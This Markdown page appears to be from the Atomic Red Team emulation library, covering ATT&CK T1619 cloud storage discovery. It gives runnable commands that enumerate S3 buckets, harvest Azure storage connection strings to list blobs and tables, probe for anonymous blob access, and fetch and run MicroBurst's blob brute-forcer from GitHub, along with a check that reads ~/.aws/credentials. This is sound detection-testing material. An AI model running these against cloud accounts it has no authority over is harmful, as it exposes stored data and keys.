339 lines
13 KiB
Markdown
339 lines
13 KiB
Markdown
# T1619 - Cloud Storage Object Discovery
|
|
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1619)
|
|
<blockquote>
|
|
|
|
Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.
|
|
|
|
Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .
|
|
|
|
</blockquote>
|
|
|
|
## Atomic Tests
|
|
|
|
- [Atomic Test #1 - AWS S3 Enumeration](#atomic-test-1---aws-s3-enumeration)
|
|
|
|
- [Atomic Test #2 - Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI](#atomic-test-2---azure---enumerate-storage-account-objects-via-shared-key-authorization-using-azure-cli)
|
|
|
|
- [Atomic Test #3 - Azure - Scan for Anonymous Access to Azure Storage (Powershell)](#atomic-test-3---azure---scan-for-anonymous-access-to-azure-storage-powershell)
|
|
|
|
- [Atomic Test #4 - Azure - Enumerate Azure Blobs with MicroBurst](#atomic-test-4---azure---enumerate-azure-blobs-with-microburst)
|
|
|
|
|
|
<br/>
|
|
|
|
## Atomic Test #1 - AWS S3 Enumeration
|
|
This test will enumerate all the S3 buckets in the user account and lists all the files in each bucket.
|
|
|
|
**Supported Platforms:** Iaas:aws
|
|
|
|
|
|
**auto_generated_guid:** 3c7094f8-71ec-4917-aeb8-a633d7ec4ef5
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#### Attack Commands: Run with `sh`!
|
|
|
|
|
|
```sh
|
|
for bucket in "$(aws s3 ls | cut -d " " -f3)"; do aws s3api list-objects-v2 --bucket $bucket --output text; done
|
|
```
|
|
|
|
|
|
|
|
|
|
#### Dependencies: Run with `sh`!
|
|
##### Description: Check if ~/.aws/credentials file has a default stanza is configured
|
|
##### Check Prereq Commands:
|
|
```sh
|
|
cat ~/.aws/credentials | grep "default"
|
|
```
|
|
##### Get Prereq Commands:
|
|
```sh
|
|
echo Please install the aws-cli and configure your AWS default profile using: aws configure
|
|
```
|
|
|
|
|
|
|
|
|
|
<br/>
|
|
<br/>
|
|
|
|
## Atomic Test #2 - Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI
|
|
This test enumerates all existing storage accounts and tries to fetch for each account the contained storage account objects. The access to storage objects is only possible if Shared Key authorization is enabled (e.g this is the case per default for storage objects creaded by Azure Function Apps).
|
|
|
|
Requirements:
|
|
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
|
|
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
|
|
|
|
Output format: Csv file that contains the found storage account objects
|
|
- Columns: ResourceGroup, StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName
|
|
- The content of these columns is filled out depending on the object. Not-required columns are left empt. Example: For a blob object the ResourceGroup, StorageAccountName, ContainerName, BlobName are filled out, the other fields are left empty.
|
|
|
|
**Supported Platforms:** Iaas:azure
|
|
|
|
|
|
**auto_generated_guid:** 070322a4-2c60-4c50-8ffb-c450a34fe7bf
|
|
|
|
|
|
|
|
|
|
|
|
#### Inputs:
|
|
| Name | Description | Type | Default Value |
|
|
|------|-------------|------|---------------|
|
|
| output_file | Csv file path for results | path | $env:temp\T1619_storage_account_objects.csv|
|
|
|
|
|
|
#### Attack Commands: Run with `powershell`!
|
|
|
|
|
|
```powershell
|
|
az login # Login to Azure
|
|
|
|
# Get all storage accounts in the subscription
|
|
$storageAccounts = az storage account list --query "[].{name:name, resourceGroup:resourceGroup}" --output json | ConvertFrom-Json
|
|
|
|
$storageAccountObjects = @()
|
|
$downloadedFunctionFiles = @()
|
|
|
|
foreach ($account in $storageAccounts) {
|
|
Write-Output "`nFound storage account $($account.name)"
|
|
|
|
$storageAccountObjects += [PSCustomObject]@{
|
|
ResourceGroup = $account.resourceGroup
|
|
StorageAccountName = $account.name
|
|
FileShareName = ""
|
|
ContainerName = ""
|
|
BlobName = ""
|
|
TableName = ""
|
|
QueueName = ""
|
|
}
|
|
|
|
$allowSharedKeyAccess = az storage account show --name $account.name --resource-group $account.resourceGroup --query "allowSharedKeyAccess"
|
|
|
|
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
|
|
Write-Output "Shared key access is disabled for this storage account."
|
|
} else {
|
|
$connectionString = az storage account show-connection-string --name $account.name --resource-group $account.resourceGroup --query connectionString --output tsv
|
|
|
|
$fileShares = az storage share list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
|
|
foreach($fileShare in $fileShares) {
|
|
Write-Output "Found file share: $($fileShare)"
|
|
$storageAccountObjects += [PSCustomObject]@{
|
|
ResourceGroup = $account.resourceGroup
|
|
StorageAccountName = $account.name
|
|
FileShareName = $fileShare
|
|
ContainerName = ""
|
|
BlobName = ""
|
|
TableName = ""
|
|
QueueName = ""
|
|
}
|
|
}
|
|
|
|
$containers = az storage container list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
|
|
foreach($container in $containers) {
|
|
Write-Output "Found container: $($container)"
|
|
$storageAccountObjects += [PSCustomObject]@{
|
|
ResourceGroup = $account.resourceGroup
|
|
StorageAccountName = $account.name
|
|
FileShareName = ""
|
|
ContainerName = $container
|
|
BlobName = ""
|
|
TableName = ""
|
|
QueueName = ""
|
|
}
|
|
|
|
$blobs = az storage blob list --connection-string $connectionString --container-name $container --query "[].name" --output json | ConvertFrom-Json
|
|
|
|
foreach($blob in $blobs) {
|
|
Write-Output "Found blob: $($blob)"
|
|
$storageAccountObjects += [PSCustomObject]@{
|
|
ResourceGroup = $account.resourceGroup
|
|
StorageAccountName = $account.name
|
|
FileShareName = ""
|
|
ContainerName = $container
|
|
BlobName = $blob
|
|
TableName = ""
|
|
QueueName = ""
|
|
}
|
|
}
|
|
}
|
|
|
|
$tables = az storage table list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
|
|
foreach($table in $tables) {
|
|
Write-Output "Found table: $($table)"
|
|
$storageAccountObjects += [PSCustomObject]@{
|
|
ResourceGroup = $account.resourceGroup
|
|
StorageAccountName = $account.name
|
|
FileShareName = ""
|
|
ContainerName = ""
|
|
BlobName = ""
|
|
TableName = $table
|
|
QueueName = ""
|
|
}
|
|
}
|
|
|
|
$queues = az storage queue list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
|
|
foreach($queue in $queues) {
|
|
Write-Output "Found table: $($table)"
|
|
$storageAccountObjects += [PSCustomObject]@{
|
|
ResourceGroup = $account.resourceGroup
|
|
StorageAccountName = $account.name
|
|
FileShareName = ""
|
|
ContainerName = ""
|
|
BlobName = ""
|
|
TableName = ""
|
|
QueueName = $queue
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
# Store file lists to csv file
|
|
$storageAccountObjects | Export-Csv -Path "#{output_file}" -NoTypeInformation
|
|
Write-Output "`nDownloaded storage account objects to #{output_file}"
|
|
|
|
# Print lists that have been stored as csv file
|
|
$storageAccountObjects | Format-Table -Property ResourceGroup, StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName -AutoSize -Wrap
|
|
```
|
|
|
|
#### Cleanup Commands:
|
|
```powershell
|
|
Remove-Item -Path "#{output_file}" -Force -erroraction silentlycontinue
|
|
Write-Output "Removed #{output_file}"
|
|
```
|
|
|
|
|
|
|
|
#### Dependencies: Run with `powershell`!
|
|
##### Description: Azure CLI must be installed
|
|
##### Check Prereq Commands:
|
|
```powershell
|
|
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
|
|
```
|
|
##### Get Prereq Commands:
|
|
```powershell
|
|
Install-Module -Name Az -Force
|
|
```
|
|
|
|
|
|
|
|
|
|
<br/>
|
|
<br/>
|
|
|
|
## Atomic Test #3 - Azure - Scan for Anonymous Access to Azure Storage (Powershell)
|
|
Upon successful execution, this test will test for anonymous access to Azure storage containers by invoking a web request and outputting the results to a file.
|
|
The corresponding response could then be interpreted to determine whether or not the resource/container exists, as well as other information.
|
|
See https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service
|
|
|
|
**Supported Platforms:** Iaas:azure
|
|
|
|
|
|
**auto_generated_guid:** 146af1f1-b74e-4aa7-9895-505eb559b4b0
|
|
|
|
|
|
|
|
|
|
|
|
#### Inputs:
|
|
| Name | Description | Type | Default Value |
|
|
|------|-------------|------|---------------|
|
|
| base_name | Azure storage account name to test | string | T1619Test2|
|
|
| output_file | File to output results to | string | $env:temp\T1619Test2.txt|
|
|
| container_name | Container name to search for (optional) | string | |
|
|
| blob_name | Blob name to search for (optional) | string | |
|
|
|
|
|
|
#### Attack Commands: Run with `powershell`!
|
|
|
|
|
|
```powershell
|
|
try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"}
|
|
catch [system.net.webexception]
|
|
{if($_.Exception.Response -ne $null)
|
|
{$Response = $_.Exception.Response.GetResponseStream()
|
|
$ReadResponse = New-Object System.IO.StreamReader($Response)
|
|
$ReadResponse.BaseStream.Position = 0
|
|
$responseBody = $ReadResponse.ReadToEnd()}
|
|
else {$responseBody = "The storage account could not be anonymously accessed."}}
|
|
"Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append
|
|
```
|
|
|
|
#### Cleanup Commands:
|
|
```powershell
|
|
remove-item #{output_file} -erroraction silentlycontinue
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
<br/>
|
|
<br/>
|
|
|
|
## Atomic Test #4 - Azure - Enumerate Azure Blobs with MicroBurst
|
|
Upon successful execution, this test will utilize a wordlist to enumerate the public facing containers and blobs of a specified Azure storage account.
|
|
See https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/ .
|
|
|
|
**Supported Platforms:** Iaas:azure
|
|
|
|
|
|
**auto_generated_guid:** 3dab4bcc-667f-4459-aea7-4162dd2d6590
|
|
|
|
|
|
|
|
|
|
|
|
#### Inputs:
|
|
| Name | Description | Type | Default Value |
|
|
|------|-------------|------|---------------|
|
|
| base | Azure blob keyword to enumerate (Example, storage account name) | string | secure|
|
|
| output_file | File to output results to | string | $env:temp\T1619Test1.txt|
|
|
| wordlist | File path to keywords for search permutations | string | PathToAtomicsFolder\..\ExternalPayloads\permutations.txt|
|
|
|
|
|
|
#### Attack Commands: Run with `powershell`!
|
|
|
|
|
|
```powershell
|
|
import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
|
|
Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}"
|
|
```
|
|
|
|
#### Cleanup Commands:
|
|
```powershell
|
|
remove-item #{output_file} -erroraction silentlycontinue
|
|
```
|
|
|
|
|
|
|
|
#### Dependencies: Run with `powershell`!
|
|
##### Description: The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder\..\ExternalPayloads.
|
|
##### Check Prereq Commands:
|
|
```powershell
|
|
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"){exit 0} else {exit 1}
|
|
```
|
|
##### Get Prereq Commands:
|
|
```powershell
|
|
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
|
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
|
|
```
|
|
##### Description: The wordlist file for search permutations must exist in PathToAtomicsFolder\..\ExternalPayloads.
|
|
##### Check Prereq Commands:
|
|
```powershell
|
|
if (test-path "#{wordlist}"){exit 0} else {exit 1}
|
|
```
|
|
##### Get Prereq Commands:
|
|
```powershell
|
|
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt" -outfile "#{wordlist}"
|
|
```
|
|
|
|
|
|
|
|
|
|
<br/>
|